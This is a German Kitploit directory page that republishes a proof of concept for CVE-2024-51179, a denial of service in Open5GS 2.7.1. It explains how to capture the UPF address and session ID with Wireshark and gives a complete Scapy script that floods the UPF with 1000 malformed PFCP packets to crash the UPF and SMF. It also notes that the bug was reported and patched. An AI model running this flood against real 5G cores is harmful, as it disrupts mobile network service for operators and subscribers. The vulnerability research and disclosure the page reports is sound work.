Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-51179 | Kitploit
Tools/GitHubGitHub/lakshmirnr/cve-2024-51179
Paket-Sniffing & AnalyseSchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstests
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Repository anzeigen
4vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-51179 : Fluten von manipulierten Paketen durch einen Angreifer kann UPF/SMF in Open5gs zum Absturz bringen

Beschreibung der Schwachstelle

Beschreibung: Ein Problem in Open 5GS v.2.7.1 ermöglicht es einem entfernten Angreifer, einen Denial-of-Service über die Network Function Virtualizations (NFVs) wie die User Plane Function (UPF) und die Session Management Function (SMF) zu verursachen. Der Aufbau von PDU-Sitzungen (Packet Data Unit) wird durch die Abstürze innerhalb der NFVs beeinträchtigt.

Ein Angreifer kann, nachdem er die IP-Adresse der User Plane Function (UPF), den PFCP-Port und die SEID (Session Endpoint Identifier) erlangt hat, bösartige PFCP-Pakete (Packet Forwarding Control Protocol) konstruieren und an die UPF senden. Die erforderlichen Parameter können mit Tools wie Wireshark abgefangen werden, wenn der Angreifer Zugriff auf den User-Plane-Verkehr hat.

Art der Schwachstelle: Denial Of Service

Auswirkungen: Beim Senden des bösartigen Pakets wird die UPF fehlerhaft, was die Einrichtung neuer PDU-Sitzungen beeinträchtigt. Zusätzlich wird die SMF (Session Management Function) durch die Flut bösartiger PFCP-Pakete beeinträchtigt, was Kernfunktionen stört.

SCHRITTE ZUR REPRODUKTION DES ANGRIFFS

Voraussetzungen: Das 5G-Kernnetz wurde mit Open5GS als Kernnetz und UERANSIM als Emulationswerkzeug für die gNB (Next Generation NodeB) und UE (User Equipment) eingerichtet.

SCHRITTE ZUR DURCHFÜHRUNG DES ANGRIFFS

  1. Stellen Sie sicher, dass Open5GS läuft, indem Sie den Status der Open5GS-Komponenten (AMF, SMF, UPF usw.) überprüfen.
  2. Überprüfen Sie die Einrichtung der PDU-Sitzung, indem Sie mit UERANSIM eine PDU-Sitzung initiieren und den Datenverkehr mit Wireshark erfassen.
  3. Öffnen Sie Wireshark und wählen Sie die Netzwerkschnittstelle, die für die User Plane verwendet wird.
  4. Beginnen Sie die Erfassung des Datenverkehrs mit einem Anzeigefilter für PFCP-Pakete:
  5. Initiieren Sie eine PDU-Sitzung von UERANSIM aus, um sicherzustellen, dass PFCP-Pakete in der Erfassung sichtbar sind.
  6. Suchen Sie in Wireshark die UPF-IP-Adresse, den UPF-Port (normalerweise 8805) und die SEID aus den erfassten PFCP-Paketen und notieren Sie diese.
  7. Verwenden Sie das folgende Skript, um die Pakete an die UPF zu fluten.
root@kitploit:~
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Überwachen Sie die Netzwerkauswirkungen mit Wireshark oder prüfen Sie die Protokolle, um Anomalien oder Fehler bei der Paketverarbeitung festzustellen.
  2. Versuchen Sie, neue PDU-Sitzungen von UERANSIM aus einzurichten, um festzustellen, ob die Einrichtung aufgrund der Überflutung fehlschlägt.

SMF-STATUS NACH DEM ANGRIFF

smfcurrent

WIRESHARK-ERFASSUNG DES BÖSARTIGEN PAKETS

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

AKTUELLER STATUS

Die Schwachstelle, dokumentiert als Issue #3497 auf der Open5GS-GitHub-Seite (https://github.com/open5gs/open5gs/issues/3497), wurde an den Open5GS-Anbieter gemeldet, der die Ursache als Problem bei der Speicherfreigabe identifizierte, das zu Systemabstürzen führt. Seitdem wurde ein Patch angewendet und der Code aktualisiert, um das Problem zu beheben. Sie können den aktualisierten Code hier einsehen.

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 wurde veröffentlicht.

DANKSAGUNGEN

DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)

Tool herunterladen